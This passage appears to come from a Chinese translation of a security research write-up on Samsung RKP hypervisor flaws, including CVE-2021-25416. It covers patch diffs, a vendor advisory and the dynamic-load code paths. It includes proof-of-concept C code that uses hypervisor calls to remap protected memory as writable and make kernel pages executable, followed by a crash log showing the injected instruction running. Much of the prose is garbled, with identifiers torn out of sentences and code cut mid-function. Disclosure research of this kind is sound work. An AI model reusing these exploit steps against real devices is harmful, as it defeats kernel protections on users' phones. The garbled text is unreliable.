}uint64_t* set_entry_of_pgt(uint64_t* ptr, uint64_t val) {
*ptr = val;
return ptr;
}概念验证¶
#define UH_APP_RKP 0xC300C002
#define RKP_CMD_FREE_PGD 0x09
#define RKP_CMD_WRITE_PGT3 0x05
#define BLOCK_DESC_ADDR 0x8702A1C0
#define BLOCK_DESC_DATA 0x870004FD
return pa - 0x80000000UL + 0xFFFFFFC000000000UL;
}
/* allocate and clear our "fake PGD" */
uint64_t pgd = kernel_alloc(0x1000);
for (uint64_t i = 0; i < 0x1000; i += 8)
kernel_write(pgd + i, 0UL);
kernel_write(pgd, (PROTECTED_RANGES_BITMAP & 0xFFFFFFFFF000UL) | 3UL);
kernel_hyp_call(UH_APP_RKP, RKP_CMD_NEW_PGD, pgd);
/* make the hyp call that will set the page RW */
kernel_hyp_call(UH_APP_RKP, RKP_CMD_FREE_PGD, pgd);
kernel_write(pa_to_va(PROTECTED_RANGES_BITMAP + 8), 0UL);
kernel_hyp_call(UH_APP_RKP, RKP_CMD_WRITE_PGT3,
pa_to_va(BLOCK_DESC_ADDR), BLOCK_DESC_DATA);
}A515FXXU4CTJ1
s2_map
函数(从 rkp_s2_page_change_permission
和 rkp_s2_range_change_permission
调用)间接调用 QHEE 函数(因为 QHEE 负责第 2 阶段页表)。我们没有遵循此调用,查看它是否进行了任何可以防止利用此漏洞的额外检查。在Galaxy S20上,还有一个对新的虚拟机管理程序框架(称为H-Arx)的间接调用,我们也没有遵循。补丁¶
- Mark the pages unmapped by s2_unmap as S2UNMAP in the physmap
- Perform the additional checks of rkp_s2_page_change_permission in
rkp_s2_range_change_permission as well
- Add calls to check_kernel_input in the rkp_lxpgt_process_table functions第一个补丁¶
G973FXXSBFUF3
rkp_s2_page_change_permission
功能进行了第一次更改。现在,它采用一个参数,无论检查是否通过,它都将用于标记页面。此外,对于只读权限,在更改第 2 阶段页表之前对 and 进行更改,对于读写权限,则在更改之后进行更改。type
physmap
physmap
ro_bitmap
int64_t rkp_s2_page_change_permission(void* p_addr,
uint64_t access,
+ uint32_t type,
uint32_t exec,
uint32_t allow) {
// ...
// ...
- return -1;
+ return rkp_phys_map_set(p_addr, type) ? -1 : 0;
}
if (is_phys_map_s2unmap(p_addr)) {
// ...
- return -1;
+ return rkp_phys_map_set(p_addr, type) ? -1 : 0;
}
if (page_allocator_is_allocated(p_addr) == 1
|| (p_addr >= TEXT_PA && p_addr < ETEXT_PA)
|| (p_addr >= rkp_get_pa(SRODATA) && p_addr < rkp_get_pa(ERODATA))
- return 0;
+ return rkp_phys_map_set(p_addr, type) ? -1 : 0;
// ...
+ if (access == 0x80) {
+ if (rkp_phys_map_set(p_addr, type) || rkp_set_pgt_bitmap(p_addr, access))
+ return -1;
+ }
if (map_s2_page(p_addr, p_addr, 0x1000, attrs) < 0) {
rkp_policy_violation("map_s2_page failed, p_addr : %p, attrs : %d", p_addr, attrs);
return -1;
}
tlbivaae1is(((p_addr + 0x80000000) | 0xFFFFFFC000000000) >> 12);
- return rkp_set_pgt_bitmap(p_addr, access);
+ if (access != 0x80)
+ if (rkp_phys_map_set(p_addr, type) || rkp_set_pgt_bitmap(p_addr, access))
+ return -1;
+ return 0;rkp_s2_range_change_permission
功能没有进行任何更改。到目前为止,没有任何更改阻止使用这两个函数重新映射以前未映射的内存。rkp_l1pgt_process_table
rkp_l2pgt_process_table
rkp_l3pgt_process_table
check_kernel_input
int64_t rkp_l1pgt_process_table(int64_t pgd, uint32_t high_bits, uint32_t is_alloc) {
// ...
if (is_alloc) {
+ check_kernel_input(pgd);
// ...
} else {
// ...
}
// ...
}int64_t rkp_l2pgt_process_table(int64_t pmd, uint64_t start_addr, uint32_t is_alloc) {
// ...
if (is_alloc) {
+ check_kernel_input(pmd);
// ...
} else {
// ...
}
}int64_t rkp_l3pgt_process_table(int64_t pte, uint64_t start_addr, uint32_t is_alloc, int32_t protect) {
// ...
if (is_alloc) {
+ check_kernel_input(pte);
// ...
} else {
// ...
}
// ...
}rkp_s2_page_change_permission
。但是,它不会阻止调用我们之前介绍的此函数的任何其他方法。S2UNMAP
physmap
寻找新的漏洞利用路径¶
set_range_to_rox_l3
和 set_range_to_pxn_l3
函数可用于调用 rkp_s2_page_change_permission
,但有两个主要注意事项。首先,为了使用我们的目标页面调用它们,我们需要在内核 PMD 中有一个表描述符来指向我们的目标页面。此外,它们是仅在 Exynos 设备上可用的“动态加载”功能的一部分。set_range_to_rox_l3
来标记我们的目标页面,但也可以在第二阶段将其设置为只读。然后我们可以调用 set_range_to_pxn_l3
,这需要它被标记,但也使其在第二阶段可写。KERNEL|L3
physmap
KERNEL|L3
physmap
编写内核页表¶
|
+--------------------+ | +--------------------+ .-> +--------------------+
| | | | | | | |
+--------------------+ | +--------------------+ | +--------------------+
| invalid descriptor | | | table descriptor ---' | |
+--------------------+ | +--------------------+ +--------------------+
| | | | | | |
+--------------------+ | +--------------------+ +--------------------+
| | | | | | |
+--------------------+ | +--------------------+ +--------------------+
|
read PMD | read PMD "fake PT"
in kernel memory | in kernel memory in hypervisor memorypmd_desc_pa
start_va
target_pa
target_pa | 3
rkp_cmd_write_pgt2
rkp_l2pgt_write
rkp_l2pgt_write
KERNEL|L2
physmap
check_single_l2e
check_single_l2e
start_va
executable_regions
protect
rkp_l3pgt_process_table
rkp_l3pgt_process_table
protect
rkp_l2pgt_write
将内存重新映射为可写¶
set_range_to_rox_l3
和 set_range_to_pxn_l3
函数,我们将在有关下一个漏洞的部分中解释这些命令。具体而言,我们使用子命令 dynamic_load_ins
和 dynamic_load_rm
。rkp_cmd_dynamic_load
`-- dynamic_load_ins
|-- dynamic_load_check
| code range must be in the binary range
| must not overlap another "dynamic executable"
| must not be in the ro_bitmap
|-- dynamic_load_protection
| will make the code range as RO (and add it to ro_bitmap)
|-- dynamic_load_verify_signing
| if type != 3, no signature checking
|-- dynamic_load_make_rox
| calls rkp_set_range_to_rox!
|-- dynamic_load_add_executable
| code range added to the executable_regions
`-- dynamic_load_add_dynlist
code range added to the dynamic_load_regions
`-- dynamic_load_rm
|-- dynamic_load_rm_dynlist
| code range is removed from dynamic_load_regions
|-- dynamic_load_rm_executable
| code range is removed from executable_regions
|-- dynamic_load_set_pxn
| calls rkp_set_range_to_pxn!
`-- dynamic_load_rw
will make the code range as RW (and remove it from ro_bitmap)protected_ranges
第二个补丁¶
G973FXXSEFUJ2
rkp_s2_page_change_permission
功能进行了更改。它现在调用以确保页面的物理地址不在内存列表中。这样可以防止使用此函数以虚拟机监控程序内存为目标。check_kernel_input
protected_ranges
int64_t rkp_s2_page_change_permission(void* p_addr,
uint64_t access,
- uint32_t exec,
- uint32_t allow) {
+ uint32_t exec) {
// ...
+ if (!rkp_deferred_inited) {
// ...
}
+ check_kernel_input(p_addr);
// ...
}rkp_s2_range_change_permission
进行了更改。首先,它调用以确保范围不与内存列表重叠。然后,它还确保没有目标页面被标记为 .protected_ranges_overlaps
protected_ranges
S2UNMAP
physmap
int64_t rkp_s2_range_change_permission(uint64_t start_addr,
uint64_t end_addr,
uint64_t access,
uint32_t exec,
uint32_t allow) {
// ...
- if (!allow && !rkp_inited) {
- uh_log('L', "rkp_paging.c", 593, "s2 range change access not allowed before init");
- rkp_policy_violation("Range change permission prohibited");
- } else if (allow != 2 && rkp_deferred_inited) {
- uh_log('L', "rkp_paging.c", 603, "s2 change access not allowed after def-init");
- rkp_policy_violation("Range change permission prohibited");
- }
+ if (rkp_deferred_inited) {
+ if (allow != 2) {
+ uh_log('L', "rkp_paging.c", 643, "RKP_33605b63");
+ rkp_policy_violation("Range change permission prohibited");
+ }
+ if (start_addr > end_addr) {
+ uh_log('L', "rkp_paging.c", 650, "RKP_b3952d08%llxRKP_dd15365a%llx",
+ start_addr, end_addr - start_addr);
+ rkp_policy_violation("Range change permission prohibited");
+ }
+ protected_ranges_overlaps(start_addr, end_addr - start_addr);
+ addr = start_addr;
+ do {
+ rkp_phys_map_lock(addr);
+ if (is_phys_map_s2unmap(addr))
+ rkp_policy_violation("RKP_1b62896c %p", addr);
+ rkp_phys_map_unlock(addr);
+ addr += 0x1000;
+ } while (addr < end_addr);
+ }
// ...
}
+ if (memlist_overlaps_range(&protected_ranges, addr, size)) {
+ uh_log('L', "pa_restrict.c", 122, "RKP_03f2763e%lx RKP_a54942c8%lx", addr, size);
+ return uh_log('D', "pa_restrict.c", 124, "RKP_03f2763e%lxRKP_c5d4b9a4%lx", addr, size);
+ }
+ return 0;
+}SVE-2021-20179 (CVE-2021-25416): Possible creating executable kernel page via abusing dynamic load functions
Affected versions: Q(10.0), R(11.0) devices with Exynos9610, 9810, 9820, 9830
Reported on: January 5, 2021
Disclosure status: Privately disclosed.
Assuming EL1 is compromised, an improper address validation in RKP prior to SMR JUN-2021 Release 1 allows local attackers to create executable kernel page outside code area.
The patch adds the proper address validation in RKP to prevent creating executable kernel page.脆弱性¶
fimc_is_load_ddk_bin
和 fimc_is_load_rta_bin
。RKP_DYNAMIC_LOAD
在 fimc_is_load_ddk_bin
中,内核首先使用有关二进制文件的信息填充rkp_dynamic_load_t
结构。如果二进制文件已加载,则调用子命令将其卸载。然后,它使整个二进制内存可写,并将其代码和数据复制到其中。最后,它通过调用子命令使二进制代码可执行。RKP_DYN_COMMAND_RM
RKP_DYN_COMMAND_INS
▸ drivers/media/platform/exynos/fimc-is2/interface/fimc-is-interface-library.c
int fimc_is_load_ddk_bin(int loadType)
{
// ...
rkp_dynamic_load_t rkp_dyn;
static rkp_dynamic_load_t rkp_dyn_before = {0};
#endif
// ...
if (loadType == BINARY_LOAD_ALL) {
memset(&rkp_dyn, 0, sizeof(rkp_dyn));
rkp_dyn.binary_base = lib_addr;
rkp_dyn.binary_size = bin.size;
rkp_dyn.code_base1 = memory_attribute[INDEX_ISP_BIN].vaddr;
rkp_dyn.code_size1 = memory_attribute[INDEX_ISP_BIN].numpages * PAGE_SIZE;
#ifdef USE_ONE_BINARY
rkp_dyn.type = RKP_DYN_FIMC_COMBINED;
rkp_dyn.code_base2 = memory_attribute[INDEX_VRA_BIN].vaddr;
rkp_dyn.code_size2 = memory_attribute[INDEX_VRA_BIN].numpages * PAGE_SIZE;
#else
rkp_dyn.type = RKP_DYN_FIMC;
#endif
if (rkp_dyn_before.type)
uh_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, RKP_DYN_COMMAND_RM,(u64)&rkp_dyn_before, 0, 0);
memcpy(&rkp_dyn_before, &rkp_dyn, sizeof(rkp_dynamic_load_t));
// ...
ret = fimc_is_memory_attribute_nxrw(&memory_attribute[INDEX_ISP_BIN]);
// ...
#ifdef USE_ONE_BINARY
ret = fimc_is_memory_attribute_nxrw(&memory_attribute[INDEX_VRA_BIN]);
// ...
#endif
// ...
memcpy((void *)lib_addr, bin.data, bin.size);
// ...
ret = uh_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, RKP_DYN_COMMAND_INS, (u64)&rkp_dyn, 0, 0);
// ...
}rkp_dynamic_load_t
结构填充了可执行文件的类型(如果它有一个代码段,如果它有两个代码段)、整个二进制文件的基址和大小,以及其代码段的基址和大小。RKP_DYN_FIMC
RKP_DYN_FIMC_COMBINED
▸ include/linux/rkp.h
typedef struct dynamic_load_struct{
u32 type;
u64 binary_base;
u64 binary_size;
u64 code_base1;
u64 code_size1;
u64 code_base2;
u64 code_size2;
} rkp_dynamic_load_t;rkp_cmd_dynamic_load
函数。它将子命令 (, , 或 ) 分派给相应的函数。RKP_DYNAMIC_LOAD
RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT
RKP_DYN_COMMAND_INS
RKP_DYN_COMMAND_RM
int64_t rkp_cmd_dynamic_load(saved_regs_t* regs) {
// ...
type = regs->x2;
rkp_dyn = (rkp_dynamic_load_t*)rkp_get_pa(regs->x3);
// Call the handler specific to the subcommand type.
if (type == RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT) {
res = dynamic_breakdown_before_init(rkp_dyn);
if (res) {
uh_log('W', "rkp_dynamic.c", 392, "dynamic_breakdown_before_init failed");
}
} else if (type == RKP_DYN_COMMAND_INS) {
res = dynamic_load_ins(rkp_dyn);
if (!res) {
uh_log('L', "rkp_dynamic.c", 406, "dynamic_load ins type:%d success", rkp_dyn->type);
}
} else if (type == RKP_DYN_COMMAND_RM) {
res = dynamic_load_rm(rkp_dyn);
if (!res) {
uh_log('L', "rkp_dynamic.c", 400, "dynamic_load rm type:%d success", rkp_dyn->type);
}
} else {
res = 0;
}
// Put the return code in the memory referenced by x4.
ret_va = regs->x4;
if (ret_va) {
*virt_to_phys_el1(ret_va) = res;
}
// Put the return code in x0.
regs->x0 = res;
return res;
}RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT
dynamic_load_ins
处理。它按顺序调用一堆函数:RKP_DYN_COMMAND_INS
dynamic_load_check
验证可执行文件的信息;dynamic_load_protection
在阶段 2 中制作代码段;R-X
dynamic_load_verify_signing
验证可执行文件的签名;dynamic_load_make_rox
在阶段 1 中制作代码段;R-X
dynamic_load_add_executable
将代码段添加到内存列表中;executable_regions
dynamic_load_add_dynlist
将可执行文件添加到内存列表中。dynamic_load_regions
dynamic_load_check
除外),它将尝试通过调用与卸载路径中相同的函数来撤消其更改。int64_t dynamic_load_ins(rkp_dynamic_load_t* rkp_dyn) {
// ...
if (dynamic_load_check(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 273, "dynamic_load_check failed");
return 0xf13c0001;
}
// Make the code segment(s) read-only executable in the stage 2.
if (dynamic_load_protection(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 280, "dynamic_load_protection failed");
res = 0xf13c0002;
goto EXIT_RW;
}
// Verify the signature of the dynamic executable.
if (dynamic_load_verify_signing(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 288, "dynamic_load_verify_signing failed");
res = 0xf13c0003;
goto EXIT_RW;
}
// Make the code segment(s) read-only executable in the stage 1.
if (dynamic_load_make_rox(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 295, "dynamic_load_make_rox failed");
res = 0xf13c0004;
goto EXIT_SET_PXN;
}
// Add the code segment(s) to the executable_regions memlist.
if (dynamic_load_add_executable(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 303, "dynamic_load_add_executable failed");
res = 0xf13c0005;
goto EXIT_RM_EXECUTABLE;
}
// Add the binary's address range to the dynamic_load_regions memlist.
if (dynamic_load_add_dynlist(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 309, "dynamic_load_add_dynlist failed");
res = 0xf13c0006;
goto EXIT_RM_DYNLIST;
}
return 0;
// Undo: remove the binary's address range from the dynamic_load_regions memlist.
if (dynamic_load_rm_dynlist(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 317, "fail to dynamic_load_rm_dynlist, later in dynamic_load_ins");
}
EXIT_RM_EXECUTABLE:
// Undo: remove the code segment(s) from the executable_regions memlist.
if (dynamic_load_rm_executable(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 320, "fail to dynamic_load_rm_executable, later in dynamic_load_ins");
}
EXIT_SET_PXN:
// Undo: make the code segment(s) read-only non-executable in the stage 1.
if (dynamic_load_set_pxn(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 323, "fail to dynamic_load_set_pxn, later in dynamic_load_ins");
}
EXIT_RW:
// Undo: make the code segment(s) read-write executable in the stage 2.
if (dynamic_load_rw(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 326, "fail to dynamic_load_rw, later in dynamic_load_ins");
}
return res;
}dynamic_load_rm
处理。它还按顺序调用一堆函数:RKP_DYN_COMMAND_RM
dynamic_load_rm_dynlist
从内存列表中删除可执行文件;dynamic_load_regions
dynamic_load_rm_executable
从内存列表中删除代码段;executable_regions
dynamic_load_set_pxn
在阶段 1 中制作代码段;R--
dynamic_load_rw
在阶段 2 中制作代码段。RWX
int64_t dynamic_load_rm(rkp_dynamic_load_t* rkp_dyn) {
// ...
if (dynamic_load_rm_dynlist(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 338, "dynamic_load_rm_dynlist failed");
res = 0xf13c0007;
}
// Make the code segment(s) read-only non-executable in the stage 1.
else if (dynamic_load_rm_executable(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 345, "dynamic_load_rm_executable failed");
res = 0xf13c0008;
}
// Remove the code segment(s) from the executable_regions memlist.
else if (dynamic_load_set_pxn(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 352, "dynamic_load_set_pxn failed");
res = 0xf13c0009;
}
// Make the code segment(s) read-write executable in the stage 2.
else if (dynamic_load_rw(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 359, "dynamic_load_rw failed");
res = 0xf13c000a;
} else {
res = 0;
}
return res;
}可执行文件加载¶
dynamic_load_check
可确保二进制文件的地址范围不会与其他当前加载的二进制文件重叠,也不会与阶段 2 中只读的内存重叠。不幸的是,这还不够。特别是,它不能确保代码段在二进制文件的地址范围内。请注意,如果返回错误,则使用(调试)日志级别调用,这将导致崩溃。pgt_bitmap_overlaps_range
ul_log
D
int64_t dynamic_load_check(rkp_dynamic_load_t* rkp_dyn) {
// ...
if (rkp_dyn->type == RKP_DYN_MODULE) {
return -1;
}
// Check if the binary's address range overlaps with the dynamic_load_regions memlist.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
if (memlist_overlaps_range(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size)) {
uh_log('L', "rkp_dynamic.c", 71, "dynamic_load[%p~%p] is overlapped with another", binary_base_pa,
rkp_dyn->binary_size);
return -1;
}
// Check if any of the pages of the binary's address range is marked read-only in the ro_bitmap.
if (pgt_bitmap_overlaps_range(binary_base_pa, rkp_dyn->binary_size)) {
uh_log('D', "rkp_dynamic.c", 76, "dynamic_load[%p~%p] is ro", binary_base_pa, rkp_dyn->binary_size);
}
return 0;
}dynamic_load_protection
通过调用 rkp_s2_range_change_permission
在阶段 2 中生成代码段。R-X
int64_t dynamic_load_protection(rkp_dynamic_load_t* rkp_dyn) {
// ...
code_base1_pa = rkp_get_pa(rkp_dyn->code_base1);
if (rkp_s2_range_change_permission(code_base1_pa, rkp_dyn->code_size1 + code_base1_pa, 0x80 /* read-only */,
1 /* executable */, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 116, "Dynamic load: fail to make first code range RO %lx, %lx", rkp_dyn->code_base1,
rkp_dyn->code_size1);
return -1;
}
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type != RKP_DYN_FIMC_COMBINED) {
return 0;
}
// Make the second code segment read-only executable in the second stage.
code_base2_pa = rkp_get_pa(rkp_dyn->code_base2);
if (rkp_s2_range_change_permission(code_base2_pa, rkp_dyn->code_size2 + code_base2_pa, 0x80 /* read-only */,
1 /* executable */, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 124, "Dynamic load: fail to make second code range RO %lx, %lx", rkp_dyn->code_base2,
rkp_dyn->code_size2);
return -1;
}
return 0;
}dynamic_load_verify_signing
验证整个二进制文件地址空间的签名(请记住,二进制文件的代码和数据是由内核复制到该空间中的)。内核可以通过在命令中设置来禁用签名验证。NO_FIMC_VERIFY
rkp_start
int64_t dynamic_load_verify_signing(rkp_dynamic_load_t* rkp_dyn) {
// ...
if (NO_FIMC_VERIFY) {
uh_log('L', "rkp_dynamic.c", 135, "FIMC Signature verification Skip");
return 0;
}
// Only the signature of RKP_DYN_FIMC and RKP_DYN_FIMC_COMBINED dynamic executables is checked.
if (rkp_dyn->type != RKP_DYN_FIMC && rkp_dyn->type != RKP_DYN_FIMC_COMBINED) {
return 0;
}
// Call fmic_signature_verify that does the actual signature checking.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
if (fmic_signature_verify(binary_base_pa, rkp_dyn->binary_size)) {
uh_log('W', "rkp_dynamic.c", 143, "FIMC Signature verification failed %lx, %lx", binary_base_pa,
rkp_dyn->binary_size);
return -1;
}
uh_log('L', "rkp_dynamic.c", 146, "FIMC Signature verification Success %lx, %lx", rkp_dyn->binary_base,
rkp_dyn->binary_size);
return 0;
}dynamic_load_make_rox
通过调用 rkp_set_range_to_rox
在阶段 1 中生成代码段。R-X
int64_t dynamic_load_make_rox(rkp_dynamic_load_t* rkp_dyn) {
// ...
res = rkp_set_range_to_rox(INIT_MM_PGD, rkp_dyn->code_base1, rkp_dyn->code_base1 + rkp_dyn->code_size1);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Make the second code segment read-only executable in the first stage.
res += rkp_set_range_to_rox(INIT_MM_PGD, rkp_dyn->code_base2, rkp_dyn->code_base2 + rkp_dyn->code_size2);
}
return res;
}dynamic_load_add_executable
将代码段添加到可执行内存区域列表中。int64_t dynamic_load_add_executable(rkp_dynamic_load_t* rkp_dyn) {
// ...
res = memlist_add(&executable_regions, rkp_dyn->code_base1, rkp_dyn->code_size1);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Add the second code segment to the executable_regions memlist.
res += memlist_add(&executable_regions, rkp_dyn->code_base2, rkp_dyn->code_size2);
}
return res;
}dynamic_load_add_dynlist
将二进制文件的地址范围添加到动态加载的可执行文件列表中。int64_t dynamic_load_add_dynlist(rkp_dynamic_load_t* rkp_dyn) {
// ...
dynlist_entry = static_heap_alloc(0x38, 0);
memcpy(dynlist_entry, rkp_dyn, 0x38);
// Add the binary's address range to the dynamic_load_regions memlist and save the binary information alongside.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
return memlist_add_extra(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size, dynlist_entry);
}可执行文件卸载¶
dynamic_load_rm_dynlist
从动态加载的可执行文件列表中删除二进制文件的地址范围。int64_t dynamic_load_rm_dynlist(rkp_dynamic_load_t* rkp_dyn) {
// ...
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
res = memlist_remove_exact(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size, &dynlist_entry);
if (res) {
return res;
}
if (!dynlist_entry) {
uh_log('W', "rkp_dynamic.c", 205, "No dynamic descriptor");
return -11;
}
// Compare the first code segment base address and size with the saved binary information.
res = 0;
if (rkp_dyn->code_base1 != dynlist_entry->code_base1 || rkp_dyn->code_size1 != dynlist_entry->code_size1) {
--res;
}
// Compare the second code segment base address and size with the saved binary information.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED &&
(rkp_dyn->code_base2 != dynlist_entry->code_base2 || rkp_dyn->code_size2 != dynlist_entry->code_size2)) {
--res;
}
// Free the copy the argument structure.
static_heap_free(dynlist_entry);
return res;
}dynamic_load_rm_executable
从可执行内存区域列表中删除代码段。int64_t dynamic_load_rm_executable(rkp_dynamic_load_t* rkp_dyn) {
// ...
res = memlist_remove_exact(&executable_regions, rkp_dyn->code_base1, rkp_dyn->code_size1, 0);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Remove the first code segment to the executable_regions memlist.
res += memlist_remove_exact(&executable_regions, rkp_dyn->code_base2, rkp_dyn->code_size2, 0);
}
return res;
}dynamic_load_set_pxn
通过调用 rkp_set_range_to_pxn
使代码段在阶段 1 中不可执行。int64_t dynamic_load_set_pxn(rkp_dynamic_load_t* rkp_dyn) {
// ...
res = rkp_set_range_to_pxn(INIT_MM_PGD, rkp_dyn->code_base1, rkp_dyn->code_base1 + rkp_dyn->code_size1);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Make the second code segment non-executable in the first stage.
res += rkp_set_range_to_pxn(INIT_MM_PGD, rkp_dyn->code_base2, rkp_dyn->code_base2 + rkp_dyn->code_size2);
}
return res;
}dynamic_load_rw
通过调用 rkp_s2_range_change_permission
在阶段 2 中生成代码段。RWX
int64_t dynamic_load_rw(rkp_dynamic_load_t* rkp_dyn) {
// ...
code_base1_pa = rkp_get_pa(rkp_dyn->code_base1);
if (rkp_s2_range_change_permission(code_base1_pa, rkp_dyn->code_size1 + code_base1_pa, 0 /* read-write */,
1 /* executable */, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 239, "Dynamic load: fail to make first code range RO %lx, %lx", rkp_dyn->code_base1,
rkp_dyn->code_size1);
return -1;
}
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type != RKP_DYN_FIMC_COMBINED) {
return 0;
}
// Make the second code segment read-write executable in the second stage.
code_base2_pa = rkp_get_pa(rkp_dyn->code_base2);
if (rkp_s2_range_change_permission(code_base2_pa, rkp_dyn->code_size2 + code_base2_pa, 0, 1, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 247, "Dynamic load: fail to make second code range RO %lx, %lx", rkp_dyn->code_base2,
rkp_dyn->code_size2);
return -1;
}
return 0;
}脆弱性¶
dynamic_load_protection
将使它 .如果之后发生错误,将调用dynamic_load_rw
撤消更改并进行更改,而不考虑原始权限。因此,我们可以有效地使内核内存可执行。R-X
RW-
R-X
RWX
dynamic_load_check
中传递检查,我们需要在阶段 2 中指定一个位于可写内存中,但可以位于只读内存中。现在,要触发失败,我们可以指定一个不与页面对齐的。这样,在 dynamic_load_protection
中对 rkp_s2_range_change_permission
的第二次调用将失败,并且将执行dynamic_load_rw
。在 dynamic_load_rw
中对 rkp_s2_range_change_permission
的第二次调用也会失败,但这不是问题。binary_base
code_base1
code_base2
code_base2
开发¶
R-X
RW-
RWX
physmap
stage 1 stage 2
EXEC_VA ---------+--------> TARGET_PA
R-X | R-X
| ^---- will be changed to RWX
WRITE_VA ---------+
RW-...
ffffff80fa500000 - ffffff80fa700000 (PTE): R-X at 00000008f5520000 - 00000008f5720000
...
ffffffc800000000 - ffffffc880000000 (PMD): RW- at 0000000880000000 - 0000000900000000
...>>> EXEC_VA = 0xFFFFFF80FA6FF000
>>> TARGET_PA = EXEC_VA - 0xFFFFFF80FA500000 + 0x00000008F5520000
>>> TARGET_PA
0x8F571F000
>>> WRITE_VA = 0xFFFFFFC800000000 + TARGET_PA - 0x0000000880000000
>>> WRITE_VA
0xFFFFFFC87571F000R-X
...
0x8f571f000-0x8f5720000: S2AP=1, XN[1]=0
...概念验证¶
#define UH_APP_RKP 0xC300C002
#define RKP_DYN_COMMAND_INS 0x01
#define RKP_DYN_FIMC_COMBINED 0x03
#define EXEC_VA 0xFFFFFF80FA6FF000UL
#define WRITE_VA 0xFFFFFFC87571F000UL
#define DC_IVAC_IC_IVAU 0xD50B7520D5087620UL
#define DSB_ISH_ISB 0xD5033FDFD5033B9FUL
/* fill the structure given as argument */
uint64_t rkp_dyn = kernel_alloc(0x38);
kernel_write(rkp_dyn + 0x00, RKP_DYN_FIMC_COMBINED); // type
kernel_write(rkp_dyn + 0x08, kernel_alloc(0x1000)); // binary_base
kernel_write(rkp_dyn + 0x10, 0x1000); // binary_size
kernel_write(rkp_dyn + 0x18, EXEC_VA); // code_base1
kernel_write(rkp_dyn + 0x20, 0x1000); // code_size1
kernel_write(rkp_dyn + 0x28, EXEC_VA + 1); // code_base2
kernel_write(rkp_dyn + 0x30, 0x1000); // code_size2
kernel_hyp_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, RKP_DYN_COMMAND_INS, rkp_dyn);
uint32_t code[] = {
0xDEADBEEF,
0,
};
kernel_write(WRITE_VA + 0x00, DC_IVAC_IC_IVAU);
kernel_write(WRITE_VA + 0x08, DSB_ISH_ISB);
for (int i = 0; i < sizeof(code) / sizeof(uint64_t); ++i)
kernel_write(WRITE_VA + 0x10 + i * 8, code[i * 2]);
kernel_exec(EXEC_VA, WRITE_VA);
}(deadbeef)
<2>[ 207.365236] [3: rkp_exploit:15549] sec_debug_set_extra_info_fault = UNDF / 0xffffff80fa6ff018
<2>[ 207.365310] [3: rkp_exploit:15549] sec_debug_set_extra_info_fault: 0x1 / 0x726ff018
<0>[ 207.365338] [3: rkp_exploit:15549] undefined instruction: pc=00000000dec42a2e, rkp_exploit[15549] (esr=0x2000000)
<6>[ 207.365361] [3: rkp_exploit:15549] Code: d5087620 d50b7520 d5033b9f d5033fdf (deadbeef)
<0>[ 207.365372] [3: rkp_exploit:15549] Internal error: undefined instruction: 2000000 [#1] PREEMPT SMP
<4>[ 207.365386] [3: rkp_exploit:15549] Modules linked in:
<0>[ 207.365401] [3: rkp_exploit:15549] Process rkp_exploit (pid: 15549, stack limit = 0x00000000b4f56d76)
<0>[ 207.365418] [3: rkp_exploit:15549] debug-snapshot: core register saved(CPU:3)
<0>[ 207.365430] [3: rkp_exploit:15549] L2ECTLR_EL1: 0000000000000007
<0>[ 207.365438] [3: rkp_exploit:15549] L2ECTLR_EL1 valid_bit(30) is NOT set (0x0)
<0>[ 207.365456] [3: rkp_exploit:15549] CPUMERRSR: 0000000000040001, L2MERRSR: 0000000013000000
<0>[ 207.365468] [3: rkp_exploit:15549] CPUMERRSR valid_bit(31) is NOT set (0x0)
<0>[ 207.365480] [3: rkp_exploit:15549] L2MERRSR valid_bit(31) is NOT set (0x0)
<0>[ 207.365491] [3: rkp_exploit:15549] debug-snapshot: context saved(CPU:3)
<6>[ 207.365541] [3: rkp_exploit:15549] debug-snapshot: item - log_kevents is disabled
<6>[ 207.365574] [3: rkp_exploit:15549] TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 89
<4>[ 207.365590] [3: rkp_exploit:15549] CPU: 3 PID: 15549 Comm: rkp_exploit Tainted: G W 4.14.113 #14
<4>[ 207.365602] [3: rkp_exploit:15549] Hardware name: Samsung A51 EUR OPEN REV01 based on Exynos9611 (DT)
